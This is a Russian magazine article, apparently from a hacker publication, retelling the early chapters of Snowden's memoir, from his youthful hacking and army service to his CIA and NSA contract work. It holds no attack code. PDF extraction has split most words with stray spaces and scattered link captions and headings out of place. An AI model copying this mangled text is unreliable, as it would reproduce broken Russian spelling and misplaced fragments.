изу чить — мож но  най ти  раз ницу меж ду  тем,  как  соз датели  сис темы  хотели,
что бы  она  работа ла,  и  тем,  как  она  работа ет  в  дей стви тель нос ти.  Так  что
на самом деле, счи тает Сно уден, хакеры не наруша ют пра вила, а разоб лача‐ 
ют и опро вер гают их.

На  при мере  сво их  школь ных  лет  Сно уден  рас сужда ет  о  сис теме  влас ти
и соци аль ной полити ки. Люди, которые уста нав лива ют пра вила, могут сколь ко
угод но  говорить,  что  они  дела ют  это  в  тво их  инте ресах,  —  но  на  прак тике
очень час то ока зыва ется, что пра вила, ими уста нов ленные, под держи вают их
инте ресы  и  могут  быть  перес мотре ны  в  любой  момент.  Еще  в  шко ле  ему
приш ло в голову, что мно гие сис темы име ют один и тот же прин ципи аль ный
изъ ян: те, кто соз дают пра вила, не име ют никаких поводов их менять, потому
что это им невыгод но — даже если это выгод но всем осталь ным поль зовате‐ 
лям сис темы.

Не желая сми рить ся с  таким положе нием вещей, поняв, что, сле дуя пра‐ 
вилам, сис тему изме нить невоз можно, Эдвард Сно уден, как и все под рос тки,
к три над цати годам обра тил ся к соп ротив лению. Он был недос таточ но «кру‐ 
тым пар нем», что бы бун товать в обыч ной под рос тко вой манере — пос редс‐ 
твом ван дализ ма и нар котиков. Приш лось научить ся обма нывать сис тему.

Про гулы  были  чре ваты  лишени ем  компь юте ра.  Но,  вни матель но  изу чив
сис тему  выс тавле ния  оце нок,  Эдвард  понял,  что  самый  боль шой  вклад
в  годовые  оцен ки  вно сят  раз ные  виды  про вероч ных  работ.  С  ними  у  него
проб лем не было — и зна чит, домаш ние задания мож но было прос то не сда‐ 
вать!  Какое‐то  вре мя  это  про каты вало —  пока  учи тель  не  додумал ся  спро‐ 
сить,  в  чем  же  тут  дело.  Эдвард  не  удер жался  и  пох вастал ся  сво им  откры‐ 
тием.  Это  при вело  к  вве дению  кво ты  на  минималь ное  количес тво  сдан ных
заданий и нуд ной беседе с учи телем на тему того, что нуж но думать о сво ем
будущем,  при леж но  тру дить ся  и  ста рать ся  работать  на  свое  лич ное  дело,
пор тфо лио, резюме... сло вом, your permanent record.

Тем  не  менее,  взло мав  школь ную  сис тему,  Эдвард  получил  дос таточ но
сво бод ного  вре мени,  что бы с  головой пог рузить ся  во  взлом сис тем  компь‐ 
ютер ных. Его учи теля ми ста ли хакер ские зины 2600 и Phrack — со всей при‐ 
лага ющей ся анти авто ритар ной конт ркуль турой. Как пишет Сно уден, это были
вре мена  сво боды  и  без гра нич ного  любопытс тва  —  ког да  мно гие  хакеры
занима лись взло мом не ради денег, а ради сла вы и нас лажде ния самим про‐ 
цес сом и сво ей кру тиз ной. Так же и сам Сно уден инте ресо вал ся в основном
взло мом  игр  и  ,  а  о  бан ков ских  акка унтах  и  кре дит ных  кар точках
даже и не помыш лял. Его инте ресо вали прин ципи аль ные воп росы безопас‐ 
ности и сис темной архи тек туры. И чем боль ше он изу чал, тем боль ше осоз‐ 
навал,  как  мно го  вок руг  дыр  в  раз ных  сис темах,  которые,  по  идее,  дол жны
быть надеж ными и защищен ными.

фри кин гом

По каза тель ный  при мер  —  Лос‐Ала мос ская  наци ональ ная  лабора тория
ядер ных  иссле дова ний.  Сно уден  из  любопытс тва  зашел  на  ее  сайт  и  точ но
так же из любопытс тва обна ружил, что на сай те откры тая струк тура папок. То
есть  по  ссыл ке  вида    мож но  было  получить  дос туп
ко всем фай лам на сер вере. Даже тем,  к  которым у посети телей не дол жно
быть дос тупа. Такие уж были вре мена.
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Вдо воль начитав шись внут ренней перепис ки и лич ных дан ных сот рудни ков
лабора тории, Эдвард Сно уден пос тупил, как учи ли его родите ли. Он сде лал
доб рое дело и написал веб‐мас теру сай та.

Ни какой реак ции на его пись мо не пос ледова ло. Шли дни, отве та не было,
дыра оста валась откры той.

Эд вард не успо коил ся. Он поз вонил по  телефо ну лабора тории, добил ся,
что бы  его  соеди нили  с  IT‐отде лом,  и  ста ратель но  рас ска зал  о  проб леме
авто ответчи ку.

Спус тя нес коль ко недель в их доме раз дался телефон ный зво нок. Труб ку
взя ла мать Сно уде на.  Услы шав, отку да  зво нят,  она поб ледне ла и  страш ным
шепотом спро сила у Эдварда, что он нат ворил. Пожалев нер вы сво ей матери,
Сно уден в беседе по  телефо ну еще раз перес казал,  в  чем было дело. Сот‐ 
рудник  лабора тории  поб лагода рил  его  за бди тель ность,  сооб щил,  что  дыру
прик рыли, и поин тересо вал ся, не ищет ли его собесед ник работу. Узнав о его
воз расте,  прав да,  ска зал,  что  все‐таки  при дет ся  подож дать  совер шенно‐ 
летия, — но пред ложения сво его отме нять не стал.

ЗДРАВСТВУЙ, ОРУЖИЕ
Но  в Лос‐Ала мос Сно уден  не  попал.  Еще  до  совер шенно летия  в  его жиз ни
про изош ло  нес коль ко  важ ных  и  неп рият ных  событий.  Его  родите ли  раз‐ 
велись,  что  пов лекло  за  собой  оче ред ной  пере езд.  Потом  он  заболел
инфекци онным  мононук леозом,  болезнь  про тека ла  тяжело,  и  оста валось
толь ко лежать в кро вати и читать. Высокая тем перату ра и чте ние впе ремеш ку
« », «Лавины» Нила Сти вен сона и «Влас телина колец» при‐ 
води ло  к  бре довым  снам,  в  которых  из‐под  кро вати  вылезал  Гол лум  и  ныл
о том, что «информа ция хочет быть с‐с‐сво бод ной».

Ма нифес та хакера

За одно Эдвард накопил кучу дол гов в шко ле и решил их не сда вать, а най‐ 
ти иной жиз ненный путь. Осо бен но ему не хотелось писать авто биог рафичес‐ 
кое  сочине ние.  Эта  деталь  под водит  его  к  раз мышле ниям  о  при ват ности.
Сно уден упо доб ляет ее шиф рованию — твоя истинная суть ста новит ся дос‐ 
тупной лишь тем, у кого есть ключ дешиф ровки, — и утвер жда ет, что всег да
был  скло нен  к  такого  рода  скрыт ности,  что  работа  в  раз ведке  еще  боль ше
раз вила в нем эти склон ности и что лишь сей час он нашел в себе силы пре‐ 
одо леть их и рас ска зать прав ду — не о том, что он смог узнать или сде лать,
а о себе самом. Что он наконец‐то готов сдать свое ненапи сан ное авто биог‐ 
рафичес кое сочине ние.

На  этом,  пожалуй,  закан чива ется  детс тво Сно уде на.  В  сле дующей  гла ве
у него уже есть машина и работа — он занял ся веб‐дизай ном вмес те со сво‐ 
ей под ругой с кур сов япон ско го (которые, разуме ется, вклю чали в себя прос‐ 
мотр ани ме — и разуме ется, самым любимым у Эдварда был «Приз рак в дос‐ 
пехах»).  Все  его  мыс ли  занима ла  работа,  кре диты  на  про фес сиональ ное
обра зова ние, ани ме и сим патии к под руге — которая, к сожале нию, уже была
замужем за сот рудни ком АНБ.

9/11
Де ло было в 2001 году. Нет рудно понять, какое   про исхо дит даль ше
и рез ко меня ет судь бу не толь ко Эдварда, но и всей Аме рики и все го мира.

со бытие

Один из угнанных самоле тов про тара нил Пен тагон — где у Сно уде на
мог ли быть родс твен ники

Сно уден вспо мина ет, как пытал ся доз вонить ся до матери и выяс нить, в Пен‐ 
тагоне  сей час  его  дед  или  нет  (он  был  в  Пен тагоне,  но  остался  жив).
Как бежали из штаб‐квар тиры АНБ панику ющие сот рудни ки и что проб ка из их
машин  начина лась  еще  на  пар ковке.  Вспо мина ет  он  и  о  том,  что  началось
бук валь но на сле дующий день пос ле тра гедии — и так и не прек ратилось.

Сей час  труд но  в  это  поверить,  но,  по  сло вам Сно уде на,  до  11  сен тября
никаких осо бых мер безопас ности в окрес тнос тях Форт‐Мид не было. Обыч‐ 
ный  аме рикан ский  граж данин  мог  спо кой но  про ехать  по  шос се  с  видом
на штаб‐квар тиру АНБ. Теперь там пов сюду воору жен ные до зубов полицей‐ 
ские  кор доны и пос тоян ные про вер ки докумен тов.  Такие же переме ны про‐ 
изош ли  и  со  всей  Аме рикой.  Пот рясен ное  и  напуган ное  общес тво  желало
знать, кто его вра ги, и пос корее с ними рас пра вить ся. На каж дом доме реяли
аме рикан ские фла ги, а на стрель бищах в качес тве мишеней появи лись силу‐ 
эты муж чин в тюр банах.
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Ес ли  тебе  хочет ся  осве жить  в  памяти  тран сфор‐ 
мацию, которую пережи ло аме рикан ское общес‐ 
тво пос ле 11 сен тября 2001 года, можешь обра‐ 
тить ся,  нап ример,  к  работам  Май кла  Мура
или  Трея  Пар кера  и  Мэт та  Сто уна  —  «

»  и  «
»  —  или  любых  дру гих  пред ста вите лей

мно гочис ленных  кри тиков  пре зидентства  Джор‐ 
джа Буша — млад шего.

Фа рен‐ 
гейт  9/11 От ряд  „Аме рика“:  Все мир ная
полиция

Эд вард  Сно уден  тоже  под дался  все обще му  пат риоти чес кому  порыву.  Он
очень  хотел  пос лужить  сво ей  стра не,  но  выяс нил,  что  устро ить ся  на  работу
в АНБ или ЦРУ прос то так он не может — не хва тает уни вер ситет ско го дип‐ 
лома. Но в мире пос ле 11 сен тября исклю чения были на каж дом шагу — осо‐ 
бен но для отслу жив ших в воору жен ных силах.

Так  Сно уден  одновре мен но  пос ледовал  семей ной  тра диции  и  нарушил
ее  —  потому  что  выб рал  служ бу  в  армии,  которую  его  родс твен ники
из берего вой охра ны не осо бен но ува жали.

Ты нужен дяде Сэму
Аме рика  готови лась  к  новой  вой не  и  нуж далась  в  новых  сол датах.  Это  и
высокие  бал лы,  которые Сно уден  наб рал  на  вход ном  тес тирова нии,  давало
ему  шанс  попасть  не  абы  куда,  а  в  Силы  спе циаль ного  наз начения  Армии
США — так же извес тные как «Зеленые береты». Рек рутер обе щал Эдварду,
что  если  он  пос тара ется,  то  смо жет  стать  сер жантом‐инже нером,  сер‐ 
жантом‐раз ведчи ком или сер жантом‐свя зис том.

Так Эдвард попал в фильм «Цель нометал личес кая обо лоч ка». Со вре мен
Вьет нам ской вой ны ничего осо бо не изме нилось — раз ве что сло ва в стро‐ 
евой пес не‐кри чал ке (мотив остался преж ним, тра дици онным).

Пой ду я к пещере, 
Где засел тер рорист, 
Дос тану гра нату  
И швыр ну ее вниз!

Ле вой, пра вой, левой, пра вой — давай, давай, стре ляй! 
Кто про тив нас — луч ше сам помирай!

Не замыс ловатые  буд ни  армей ской  учеб ки  и  бес конеч ные  марш‐брос ки
довели Сно уде на до  тре щин в  кос тях ног. С ними он не мог про ходить  тре‐ 
ниров ки  по  прыж кам  с  парашю том.  Про щай,  меч та  о  спец назе.  Теперь
Эдварду  све тило  то,  чего он  так  не  хотел, — пер спек тива  слу жить обыч ным
пехотин цем или, что еще хуже, сисад мином в тех поддер жке при каком‐нибудь
шта бе.

Ар мей ские  вра чи  пред ложили  ему  под писать  упро щен ное  рас торже ние
кон трак та с воору жен ными силами — для тех, кто отслу жил мень ше полуго да.
Толь ко под писав, Эдвард понял, что теперь армия не обя зана пла тить за его
медицин скую стра хов ку. Что ж, хотя бы кос тыли оста вили бес плат но.

В сво бод ном поис ке
Но Сно уден все еще был полон иде ализ ма — и знал, куда его при менить. Он
по‐преж нему  хотел  работать  в  раз ведке  и  был  уве рен,  что  там  его  моз ги
и  тех ничес кие  навыки  при несут  поль зу.  Но  что бы  попасть  туда,  нуж но  было
получить допуск к сек ретной информа ции — дол гий про цесс, пос ле написа‐ 
ния  заяв ки  сос тоящий  в  основном  из  ожи дания,  пока  пра витель ствен ные
агентства  выяс няют,  что  они  о  тебе  зна ют  и  нас коль ко  ты  зас лужива ешь
доверия.  Семей ная  исто рия  Сно уде на  и  его  опыт  в  армии  помог ли  ему
получить  высочай ший  уро вень  допус ка — TS/SCI  (Top Secret/Sensitive Com‐
partmented Information). Что имен но про веря ют и каким обра зом, точ но неиз‐ 
вес тно — но могут  опра шивать  зна комых,  соседей,  работо дате лей,  а  так же
про верять, есть ли у тебя кре диты и регуляр но ли ты дела ешь по ним вып латы.

Ожи дая решения сво ей судь бы, Сно уден мно го вол новал ся, не вхо дит ли
в  про вер ку  его  прош лого  ана лиз  ком мента риев  в  интерне те,  которые  он
оставлял  в  юнос ти.  Мно гие  из  них  казались  ему  пос тыдны ми  или  глу пыми,
по мно гим  воп росам он  изме нил  свое мне ние.  Ему  очень  хотелось  уда лить
их, что бы ник то их боль ше никог да не уви дел. Но в кон це кон цов он не стал
это делать — решив, что они часть его прош лого, и что если отка зывать себе
и дру гим в пра ве на ошиб ку,  то всег да при дет ся прит ворять ся безуп речным
и боять ся разоб лачения. Все му это му он пред почел ответс твен ность и готов‐ 
ность рас ти, менять ся, но пом нить о том, кем он был рань ше.

В  этот  же  пери од  жиз ни  он  поз накомил ся  с  Лин дси  Миллс.  Зна комс тво
про изош ло на сай те Hotornot, на котором мож но было прос матри вать фотог‐ 
рафии людей и отме чать, нра вят ся они тебе или нет. Если твоя фотог рафия
нра вит ся  челове ку,  фотог рафия  которо го  пон равилась  тебе,  откры валась
воз можность  перепис ки. Зву чит  очень  зна комо,  и  неуди витель но — имен но
этим сай том вдох новлял ся, нап ример, Марк Цукер берг, ког да соз давал Face‐
mash — про тотип Facebook, да и популяр ный сей час Tinder исполь зует ту же
схе му.

За бегая  впе ред,  ска жу,  что  с  Лин дси  Миллс  Сно уде ну  очень  повез ло
и  начало  вез ти  чуть  ли  не  с  их  пер вого  сви дания  —  они  катались  на  ее
машине по ее любимой дороге и без кон ца раз говари вали. А еще она помог‐ 
ла  ему  тре ниро вать ся  перед  про вер кой  на  детек торе  лжи  —  и  кто  зна ет,
может быть, имен но поэто му он получил свой желан ный допуск.

Так Лин дси и Эдвард наряди лись для Хэл лоуина 2015 года — в наряды
Кар мен Сан диего и Уол ли из «Где Уол ли?». Потому что их тоже разыс ‐
кива ет весь мир. Фон, разуме ется, при фото шоп лен

Ему было 22 года, и он чувс тво вал себя королем мира. Дверь в раз ведку была
откры та, и он был влюб лен.

На  этом  кон чает ся  пер вая  часть  кни ги,  мед ленная,  повес тво ватель ная
и похожая на сен тимен таль ное кино о жиз ни прос того аме рикан ско го пар ня.
Впе реди ждет шпи онский трил лер.

Продолжение статьи →
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ПРИВАТНОСТЬ  НАЧАЛО СТАТЬИ←

ВНУТРИ СИСТЕМЫ
Преж де  чем  оку нуть ся  в  пучину  шпи онских  страс тей,  Сно уден  уде ляет
еще  нем ного  вре мени  филосо фии  и  реф лексии.  Он  рас сужда ет  о  том,  что
был  иде алис том,  но  его  иде алы  были  рас плыв чаты  и  пол ны  про тиво речий,
а образ мыс ли во мно гом опи рал ся на взгля ды его родите лей, родс твен ников
и их кол лег — про фес сиональ ных аме рикан ских чинов ников, испо ведо вав ших
сво его рода тех нокра тичес кую мериток ратию.

То  есть  счи тав ших,  что  нуж но  прос то  хорошо  делать  свою  работу,  а  все
осталь ное — пус тые раз говоры. Это инте рес но сочета лось с тем, что имен но
эти  люди  выпол няют  всю  работу  пра витель ства  и  в  некото ром  роде  сами
явля ются пра витель ством — порож дая клас сичес кую кар тину высоко мер ной,
самозам кну той  кор поратив ной  бюрок ратии  (веро ятно,  неп лохо  зна комой
мно гим людям, которые работа ют не на пра витель ство).

Еще  Сно уден  рас сужда ет  о  том,  что  он  не  хотел  быть  прог раммис том
или элек трон ным инже нером. Его влек ли к себе сис темы, он хотел ана лизи‐ 
ровать их, под держи вать их в рабочем сос тоянии, чинить их полом ки и стро‐ 
ить  новые  сис темы  из  име ющих ся  ком понен тов.  Для  него  сис темы  были
похожи  на  пра вила —  с  внут ренней  логикой,  которую  мож но  было  исполь‐ 
зовать или обма нывать. Из этой логики сле дова ло, что ког да в сис теме что‐то
шло не так, истинная при чина это го час то отли чалась от наб люда емых сим‐ 
пто мов. И ему нра вилось докапы вать ся до исходной при чины и решать имен‐ 
но ее.

Эти склон ности помога ли Сно уде ну в карь ере ров но до того момен та, ког‐ 
да  они  же  ему  и  помеша ли —  ког да  он  при менил  их  не  к  той  сис теме,  где
работал, — к Сис теме с боль шой бук вы. Наде юсь, тебе еще не надо ел раз‐ 
говор  об  иде алах  Сно уде на,  потому  что  он  пов торит ся  и  в  кни ге,  и  в  этой
статье еще не раз.

Анар хия иерар хии
По лучив  свой  желан ный  допуск,  Эдвард  Сно уден  с  удив лени ем  узнал,  что
вмес то того, что бы слу жить сво ей стра не, ему при дет ся на нее работать. Суть
в том, что вмес то государс твен ной служ бы, которая дос талась в свое вре мя
его отцу и деду, ему пред лагали работу по вре мен ным кон трак там в раз ных
ком пани ях, которые сами, в свою оче редь, были на кон трак тах у раз ных пра‐ 
витель ствен ных агентств.

По сло вам Сно уде на, все устро ено имен но так, во‐пер вых, что бы обхо дить
кво ты  на  наем  пол ноцен ных  сот рудни ков  в федераль ные  агентства,  во‐вто‐ 
рых — для раз нооб разно го лоб бирова ния и манипу ляций с бюд жетами (а так‐ 
же что бы пре дос тавлять работу быв шим полити кам — «теп лень кие мес течки»
для  тех,  кто  смог  посодей ство вать  зак лючению  выгод ных  кон трак тов),
а  в‐треть их  —  что бы  сот рудни кам  таких  ком паний  мож но  было  поручать
самые раз ные сом нитель ные задания, а потом сва ливать на них всю ответс‐ 
твен ность в слу чае, если что‐то из это го всплы вет.

Исполни тели гряз ных дел
Про  дур ную  сла ву  ком пании    зна ют,  навер ное,  все.  Но  Сно уден
упо мина ет ком панию  , про тив которой с 2004 года тянет ся дело об учас‐ 
тии  ее  сот рудни ков  в    в  тюрь ме   —  где  они  отда вали  ука‐ 
зания  о  том,  что  делать  с  зак лючен ными,  а  их юрис ты  теперь  называ ют  эти
дей ствия  «несом ненно,  уни зитель ными,  но  недос таточ но  суровы ми,  что бы
счи тать ся пыт ками».

Blackwater
CACI
пыт ках Абу‐Грейб

Сно уден пишет и про кор порацию  , тоже замешан ную в этом скан дале
и  во мно гих  дру гих  гряз ных  исто риях:  нелегаль ное  спон сирова ние  выборов
пре зиден та  афри кан ской  стра ны  Бенин,  кон тра бан да  пяти  тонн  кока ина
из  Венесу элы,  свя зи  с  челове ком,  через  которо го  про ходи ли  день ги
для  араб ских  тер рорис тов...  Впро чем,  такие  ком пании  с  радостью  берут
заказы  не  толь ко  у  пра витель ствен ных  агентств,  но  и  у  гло баль ных  кор‐ 
пораций.  Нап ример,  Accenture  или  Cognizant  скан даль но  извес тны  в  свя зи
с   про пло хие усло вия работы модера торов кон тента в круп ней ших
соц сетях.

Titan

ис тори ями

Сна чала Сно уден работал над сов мес тным про ектом Уни вер ситета Мэрилен‐ 
да и АНБ — Цен тром прод винуто го изу чения язы ков (CASL, the Center for Ad‐
vanced  Study  of  Language).  АНБ  был  нужен  машин ный  перевод  с  араб ских
язы ков — что бы не возить ся с поис ком носите лей язы ка,  которые мог ли бы
прой ти про вер ку бла гона деж ности.

Но Сно уден попал на про ект в нас толь ко ран ней ста дии его запус ка, что,
по сути, он был ноч ным сто рожем на строй ке. Так что он вни матель но сле дил
за новыми карь ерны ми воз можнос тями и посещал ярмарки вакан сий для кан‐ 
дидатов  с  сек ретны ми  допус ками.  В  ито ге  он  устро ился  в  ком панию
COMSO — это суб подряд чик в BAE Systems — аме рикан ском под разде лении
British Aerospace, который выпол няет заказы на аме рикан скую раз ведку.

Но в офи се сво его нового работо дате ля он был все го лишь раз — ког да
обсуждал зар пла ту. В CASL ему пла тили 30 тысяч дол ларов в год. На новом
мес те Сно уден рас счи тывал на 50 тысяч, но рек рутер убе дил его сог ласить ся
на 62 тысячи — что бы и самому получить про цент поболь ше.

INFO

Ес ли  тебе  инте рес но  узнать,  как  обсто ят  дела
в сфе ре воен ных высоких тех нологий в США и что
там  с  «рас пилом  и  отка том»  (по‐англий ски
это будет cut and kickback — то есть ров ным сче‐ 
том  то  же  самое),  то  мож но  начать  с  филь ма
The  Pentagon  Wars  либо  мему аров  Skunk  Works
или  The  Dream  Machine.  Но  если  вкрат це  —  все
опи сан ные  в  этой  статье  зло упот ребле ния,  сом‐ 
нитель ные прак тики, безала бер ность и бар дак —
не  исклю чения,  а  дав но  усто явша яся  нор ма
во всех пра витель ствен ных кон торах Аме рики (да
и не ее одной, навер ное).

Но  конеч ным  заказ чиком  в  этой  цепи  суб подряд чиков  было ЦРУ.  И  имен но
в тамош нюю штаб‐квар тиру Сно уде на нап равили на инс трук таж. Там он ока‐ 
зал ся в ком пании таких же «компь ютер ных чуваков», как и он сам, — у некото‐ 
рых были тату иров ки, или пир синг, или кра шеные волосы. «Так вот ты какое,

»,  —  ска зал  один  из  них,  гля дя  на  осталь ных,  и  они
друж но  рас хохота лись.  Инс трук таж,  который  их  ждал,  тоже  не  содер жал
ничего нового для них — им ска зали, что они избра ны для великой чес ти быть
чле нами  тех нологи чес кой  эли ты,  но  они  это  зна ли  еще  до  того,  как  устро‐ 
ились в раз ведку.

глу бин ное  государс тво

А под конец инс трук тажа им показа ли пор тре ты людей и ска зали, что эти
ребята наруша ли пра вила и  теперь сидят в под валах. И что некото рые про‐ 
сидят там до самой смер ти.
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Лю бопыт но,  что  похожая  сце на  была  в  кни ге
«Аква риум»  совет ско го  перебеж чика  на  Запад  —
быв шего  офи цера  ГРУ  Вик тора  Резуна.  Толь ко
там  человек  в  под вале  был  один  и  не  на  фото,
а  на  киноп ленке.  И  там  с  ним  делали  очень
нехоро шие вещи.

Ноч ной дозор
Пер вое мес то работы Сно уде на в ЦРУ было коман дой, обслу жива ющей сер‐ 
веры.  Бун кер  коман ды  рас полагал ся  по  соседс тву  с  отде лом  базовой  тех‐ 
поддер жки — Сно уден пишет, что там работа ло мно го жен щин, а так же людей
в воз расте (о них ходили слу хи, что это полевые аген ты, которым не повез ло
с  карь ерой).  Сно уден  отно сил ся  к  ним  с  сим пати ей,  но  все‐таки  это  были
люди из дру гого мира. Они работа ли в днев ную сме ну, а он — в ноч ную, ког да
огромное зда ние штаб‐квар тиры прев ращалось в декора цию к филь му ужа‐ 
сов. Его дол жностны ми обя зан ностя ми было сле дить, что бы сер веры работа‐ 
ли нор маль но. Работать нуж но было через кон соль или через лес тни цу и тун‐ 
нель, ведущие в дата‐центр с сер верны ми стой ками.

Единс твен ным напар ником Сно уде на был человек по име ни Фрэнк — быв‐ 
ший флот ский радист в воз расте за пять десят, который в основном руководс‐ 
тво вал ся прин ципом «работа не волк, в лес не убе жит». Но, нес мотря на его
отно шение  к работе,  уволь нять его почему‐то не спе шили — и лишь спус тя
какое‐то вре мя Эдвард понял, что Фрэнк был единс твен ным челове ком, сог‐ 
ласным  работать  в  ноч ную  сме ну  и  уме ющим  обра щать ся  со  ста рой  проп‐ 
риетар ной  сис темой  резер вно го  хра нения  дан ных  на  плен ке.  Толь ко Фрэнк
умел ее менять.

Что  ж,  Эдвард  быс тро  взял  с  него  при мер,  написал  нес коль ко  скрип тов
для  авто мати зации  работы —  и  обна ружил,  что  делать  на  сме не  ему  ста ло
совер шенно нечего.

Тут‐то  он  и  открыл  для  себя  внут рипра витель ствен ную  локаль ную  сеть,
в  которой  был  свой  ана лог  «Фей сбу ка»,  «Википе дии»  и  «Гуг ла»  (сде лан ный
в Google же).

Нас мотрев шись  на  Фрэн ка  и  начитав шись  внут ренних  новос тей,
в которых, в отли чие от офи циаль ных, рас кры вались «источни ки, пожелав шие
остать ся  неиз вес тны ми», Сно уден понял,  что он  не жела ет быть оче ред ным
Фрэн ком.  Он  при нял ся  про бовать ся  на  раз личные  тех ничес кие  вакан сии
внут ри агентства в дру гих стра нах, и спус тя нес коль ко месяцев ему повез ло.

Курс молодо го раз ведчи ка
Но  перед  тем,  как  Сно уде ну  отпра вить ся  «в  далекие  стра ны,  к  инте рес ным
людям»,  его  ждал  новый  курс  обу чения  —  базовая  телеком муника цион ная
тре ниро воч ная  прог рамма  (BTTP)  на  дол жность  офи цера‐тех ника
по  информа цион ной  безопас ности  (TISO).  Про ходить  ее  он  дол жен  был
в таинс твен ном «Хол ме» — или,  как он называл ся офи циаль но, 

.  Там учи ли по‐нас тояще му серь езным делам — дол‐ 
жность  TISO  тре бует  быть  мас тером  на  все  руки:  радис том,  элек три ком,
механи ком, крип тогра фом и в целом «компь ютер щиком». В его обя зан ности
вхо дят  вещи  от  нас трой ки  спут никовой  антенны  до  ремон та  кон дици оне ра
в посоль стве (ты же не дума ешь, что в посоль стве работа ют одни дип ломаты
и клер ки?). Он отве чает за унич тожение всей сек ретной информа ции и элек‐ 
тро ники, если при дет ся сроч но уно сить ноги. Любая тех нология, любые усло‐ 
вия — он дол жен уметь с ними спра вить ся.

тре ниро воч‐ 
ном цен тре Уор рентон

Од но из  тре ниро воч ных упражне ний  тре бова ло затащить на кры шу  трид‐ 
цатики лог раммо вый чемодан и с помощью ком паса и лис тка с коор дината ми
най ти  сре ди  звезд  в  небе  спут ник‐шпи он,  что бы  вый ти  с  ним  на  связь
по  зашиф рован ному  ради ока налу.  Дру гой  курс  рас ска зывал  о  методах
защиты от  . И это был пер вый год, ког да кур сантам мож но
было не изу чать мор зянку.

пе рех вата ван Эйка

Фо тог рафий из это го мес та в Сети нем ного, но выг лядит оно как‐то так

Од нако  сту ден ты  этих  кур сов  были  вынуж дены  жить  в  заш татном  гряз ном
мотеле.  Того  тре бова ла  кон спи рация — мотель спе циаль но дер жали в нас‐ 
толь ко пло хом сос тоянии, что бы ни один нор маль ный человек не пожелал там
оста новить ся.  И  ког да  в  нем  раз валилась  лес тни ца,  кур санты  соб рались
писать  жалобу  началь ству.  А  донес ти  ее  до  началь ства  выз вался  иде алист
Сно уден. В ито ге он выбил для сво их сокур сни ков отель получ ше, но получил
выговор и  лишил ся  воз можнос ти  попасть  в  горячую  точ ку,  куда он  страс тно
желал.

Вмес то  это го  его  отпра вили  работать  в  посоль ство  в  Женеве.  Сно уден
был очень разоча рован — но по край ней мере туда мог ла при ехать Лин дси.

ЗАНАВЕС ПРИОТКРЫВАЕТСЯ
Же нева  ока залась  мес том,  где  бур но  вза имо дей ство вали  ста рые  и  новые
методы ведения раз ведки — на аме рикан ском жар гоне HUMINT и SIGINT, то
есть  human  intelligence  и  signal  intelligence.  Сек реты  мировых  финан совых
потоков выведы вали как оба ятель ные ребята с хорошо под вешен ным язы ком
и  кар манами,  набиты ми  взят ками,  так  и  без душные  машины  для  перех вата
информа ции  всех  сор тов. И,  нес мотря  на  вза имное  недове рие  и  кон курен‐ 
цию,  сот рудни чать  обо им  нап равле ниям  при ходи лось.  Нап ример,  отве чать
на  воп росы  вро де  «Пред положим,  кто‐то  встав ляет флеш ку  со шпи онски ми
прог рамма ми  в  компь ютер  в  зда нии ООН —  каков шанс,  что  это го  гипоте‐ 
тичес кого кого‐то пой мают?».

Сно уден пишет,  что  сре ди про чих обя зан ностей он  кон суль тировал мес‐ 
тных сот рудни ков ЦРУ по воп росу ано ним ности при поис ке в интерне те. В те
годы  для  того,  что бы  с  условной  ано ним ностью  прос то  работать  с  Google,
аген ты ЦРУ исполь зовали даже не прок си‐сер веры, а физичес кие прок си —
орга низо выва ли  под став ную  кон тору,  яко бы  занима ющуюся  най мом  пер‐ 
сонала,  что бы от  ее  име ни отправ лять  зап росы  в  поис ковики. И  неиз бежно
кто‐нибудь  из  аген тов  рано  или  поз дно  «палил  кон тору»,  заходя  с  того  же
самого  IP‐адре са  в  свой  лич ный  акка унт  Facebook,  где  мог ло  быть  пря мым
тек стом ука зано, что он работа ет на пра витель ство США.

Ес ли  тебе  кажет ся,  что  это  какой‐то  камен ный  век,  то  ты  абсо лют но
прав — Сно уден тоже так думал. В качес тве куда более эффектив ной аль тер‐ 
нативы он пред ложил цэрэ ушни кам Tor.

Обе зопа сить, удер жать, сох ранить
В Женеве Сно уден про вел с 2007 по 2009 год, а потом его ждал новый кон‐ 
тракт  в  Япо нии  —  фор маль но  он  работал  на  ком панию  Dell,  но  конеч ным
заказ чиком было Агентство наци ональ ной безопас ности — самая тех нологи‐ 
чес ки прод винутая, самая богатая и самая зло веще‐таинс твен ная спец служ‐ 
ба США.  В  Япо нии  у  них  име лось  нес коль ко  объ ектов,  вклю чая  Тихо океан‐ 
ский тех ничес кий центр, скры тый на ави аба зе Йоко та. Туда Сно уден и отпра‐ 
вил ся.

Он начал с работы над лини ями свя зи, соеди няющи ми сис темы АНБ и ЦРУ
(с эти ми сис темами у него уже был опыт). Так он при обрел репута цию надеж‐ 
ного спе циалис та, спо соб ного решать слож ные задачи. Так его и под клю чили
к  мас штаб ному  про екту,  работая  над  которым  он  узнал  мно го  такого,  чего
не хотел знать.

По его сло вам, инфраструк тура АНБ была гораз до более тех нологи чес ки
прод винутой,  чем  у  ЦРУ,  —  и  нас толь ко  же  безала бер нее  там  под ходили
к  безопас ности.  Дело  было  пло хо  и  с  про цеду рами,  и  с шиф ровани ем,  и  с
резер вным  копиро вани ем  дан ных.  Каж дое  круп ное  отде ление  спец служ бы
име ло свой дата‐центр, но не вся информа ция из него пересы лалась на хра‐ 
нение  в  штаб‐квар тиру.  Но  бла года ря  Сно уде ну  они  получи ли  прог рамму,
собира ющую  дан ные  из  всех  раз ведцен тров,  сор тиру ющую  их,  что бы  избе‐ 
жать дуб ликатов, и рас сыла ющую обновлен ную базу дан ных во все дата‐цен‐ 
тры спец служ бы — что бы не зависеть боль ше от одно го цен тра лизо ван ного
хра нили ща.

Сно уден  пишет,  что  в  АНБ  есть  спе циаль ный  генера тор  кодовых  имен.
Положе но брать из него бес смыс ленные наз вания для сек ретных прог рамм,
но аген ты отхо дят от пра вил, что бы получать более кру тые проз вища для сво‐ 
их  детищ. Сно уден  уве ряет,  что  он  не  при бегал  к  таким  улов кам  и  сис тема
сама наз вала его про ект EPICSHELTER.

Дь явол в бумаж ных мелочах
И где‐то тут судь ба нашего героя незамет но сде лала очень важ ный поворот.
При выч ка Сно уде на собирать раз нооб разную информа цию, не отно сящу юся
нап рямую к его слу жеб ным обя зан ностям, и рабочий энту зиазм при вели его
на  кон ферен цию  по  конт рраз ведке.  Он  дол жен  был  выс тупить  с  док ладом
о  воз можнос тях  китай ских  раз ведыва тель ных  служб  сле дить  за  аген тами
и информа тора ми аме рикан ской раз ведки в интерне те. И ког да он про читал,
